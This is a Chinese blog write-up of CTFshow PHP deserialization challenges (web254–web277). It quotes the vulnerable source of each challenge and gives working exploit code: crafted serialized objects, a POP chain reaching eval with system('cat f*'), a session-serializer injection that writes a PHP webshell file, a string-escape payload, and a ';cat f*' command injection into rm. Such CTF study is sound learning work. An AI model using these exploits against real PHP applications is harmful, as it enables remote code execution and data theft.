CTFshow 反序列化


题记:

  • 今天来复习反序列化

web254

  • 第一道题不是序列化和反序列化吧…
 error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}
  • 直接get方式上传username=xxxxxx&password=xxxxxx

web255

  • 源码
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}
?>
  • 这道题就和序列化有关了,没有相关知识的可以看我以前的文章
  • 简单题 秒杀
?username=admin&password=admin
cookie修改一下参数为:O:11:"ctfShowUser":3:{s:8:"username";s:5:"admin";s:8:"password";s:5:"admin";s:5:"isVip";b:1;}

在这里插入图片描述

web256

  • 源码
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}
  • 和前一道题没啥区别 知识密码和名字不能一样罢了
<?php
class ctfShowUser{
    public $username='admin';
    public $password='123456';
    public $isVip=true; 
}
$a = new ctfShowUser();
$b = serialize($a);
echo $b;
?>

在这里插入图片描述

  • payload:
O:11:"ctfShowUser":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVip";b:1;}

web257

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}
?>
  • 这道题是通反序列化去调用backDoor(后门)中与info的同名函数getInfo()
  • 构造POP链
<?php
error_reporting(0);
class ctfShowUser{
    private $username='admin';
    private $password='admin';
    private $isVip=false;
    private $class = 'aaa';
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code="system('cat f*');";
    public function getInfo(){
        eval($this->code);
    }
}
$a = new ctfShowUser();
$b = serialize($a);
echo urlencode($b); #private 为私有属性序列化后有不可见字符,进行一次url编码
?>
  • get传username和password,然后增加cookie就无了

web258

  • 题目源码
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
class backDoor{
    public $code;
    public function getInfo(){
    
        eval($this->code);
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}
  • 与上一题相比多了一个正则的绕过
  • 绕过的方式 是在o:后面加个+号 如果用了urlencode就在%3A后面加个%2b
    在这里插入图片描述

web259

  • 题目没打开

web260

  • 我可不爱36D…源码
<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}
  • 生成payload:
<?php 
$a = "ctfshow_i_love_36D";
$b = serialize($a);
echo $b;
?>
  • get传参得到flag

web261

  • 目前没有想法

web262

  • 起初看题目的时候,看懵逼了,以为连续两题不会做
  • 观察仔细点 发现message.php
  • index.php 源码
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}
highlight_file(__FILE__);
  • message.php
highlight_file(__FILE__);
include('flag.php');
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}
  • index.php题目中的代码不重要,直接审计message.php中的
  • 没啥技巧 直接给生成payload的代码吧
<?php 
class message{
    public $from=1;
    public $msg=1;
    public $to=1;
    public $token='admin';
}
$a = new message();
$b = serialize($a);
$c = base64_encode($b);
echo $c;
?>
  • cookie添加一下,over!
  • 我好像写了一个非预期 其实考的是序列化逃逸… 回头再更新!!!

web263

<?php
	error_reporting(0);
	session_start();
	//超过5次禁止登陆
	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}
?>
  • check.php
<?php
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);


if($GET){

	$data= $db->get('admin',
	[	'id',
		'UserName0'
	],[
		"AND"=>[
		"UserName0[=]"=>$GET['u'],
		"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
		]
	]);
	if($data['id']){
		//登陆成功取消次数累计
		$_SESSION['limit']= 0;
		echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
	}else{
		//登陆失败累计次数加1
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
		echo json_encode(array("error","msg"=>"登陆失败"));
	}
}
?>
  • inc.php
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW; 
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
    'database_type' => 'mysql',
    'database_name' => 'web',
    'server' => 'localhost',
    'username' => 'root',
    'password' => 'root',
    'charset' => 'utf8',
    'port' => 3306,
    'prefix' => '',
    'option' => [
        PDO::ATTR_CASE => PDO::CASE_NATURAL
    ]
]);

// sql注入检查
function checkForm($str){
    if(!isset($str)){
        return true;
    }else{
    return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
    }
}


class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/

function  uuid()  
{  
    $chars = md5(uniqid(mt_rand(), true));  
    $uuid = substr ( $chars, 0, 8 ) . '-'
            . substr ( $chars, 8, 4 ) . '-' 
            . substr ( $chars, 12, 4 ) . '-'
            . substr ( $chars, 16, 4 ) . '-'
            . substr ( $chars, 20, 12 );  
    return $uuid ;  
}  
?>
  • 用下面的代码生成payload:
<?php
class User{
    public $username;
    public $password;
    public $status='1';

}
$a=new User();
$a->username='b.php';
$a->password='<?php system("cat f*");?>';
echo base64_encode('|'.serialize($a));
?>
  • 抓包先修改cookie中的limit
  • 访问check.php
  • 访问生成的文件。

web264

  • index.php
error_reporting(0);
session_start();
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}
highlight_file(__FILE__);
  • message.php
session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}
  • 看起来是不是和web262题目类似
  • web262我用了一个非预期,web264非预期用不了了。不信你试试看!
  • 现在用预期解题
  • str_replace('fuck', 'loveU', serialize($msg));看到这个就应该想到序列化逃逸了
  • 将fuck替换成loveU就多了一个字符
<?php
class message{
    public $from="a";
    public $msg=1;
    public $to='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
    public $token='user';
}

$msg = new message();
$msg = serialize($msg);
echo $msg;
echo "\r\n";
$umsg = str_replace('fuck', 'loveU',$msg);
echo $umsg;
echo "\r\n";
$answer = unserialize($umsg);
$payload = serialize($answer);
echo $payload;
?>
  • 我测试的代码
  • payload
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
  • 这里有个坑 要设置一个cookie值 才有回显 我卡这里半天
if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

web265

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}
  • 这道题又是一个知识盲区 指针的应用 学习一下
<?php
class User{
    public $name;
    public $age;
}
$user = new User();
$user->name = 'xbx0d';
$user->age = &$user->name; // 将age的值设置为name的地址 这样的话 age的值和name的值始终就保持一致了
var_dump($user);
?>
  • 输出的结果
class User#1 (2) {
  public $name =>
  string(5) "xbx0d"
  public $age =>
  string(5) "xbx0d"
}
  • 这样看来题目也就解决了
<?php
class ctfshowAdmin{
    public $token;
    public $password;
    public function __construct()
    {
        $this->token='xbx0d';
        $this->password = &$this->token;
    }
}
$xbx0d=serialize(new ctfshowAdmin());
echo $xbx0d;
?>
  • 生成payload get传参就ok了。

web266

  • php 对类名称的大小写不敏感
  • 直接给payload
<?php
class CTFshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
}
$xbx0d = new CTFshow();
$payload = serialize($xbx0d);
echo $payload;
?>
  • 生成的payload用hackbar传一下就ok了。

web275

  • 源码
highlight_file(__FILE__);
class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}
if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
}else{
    echo 'where is flag?';
}
?>
  • 思考了半天 怎么去利用反序列化(可以说毫无关系了…
  • get上传fn为;cat f*拼接命令行
  • post上床flag。
  • 这样的话 在销毁的时候会自动调用_destruct()函数
  • 成功执行 rm;cat flag*
  • 得到flag

web277 phar反序列化

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值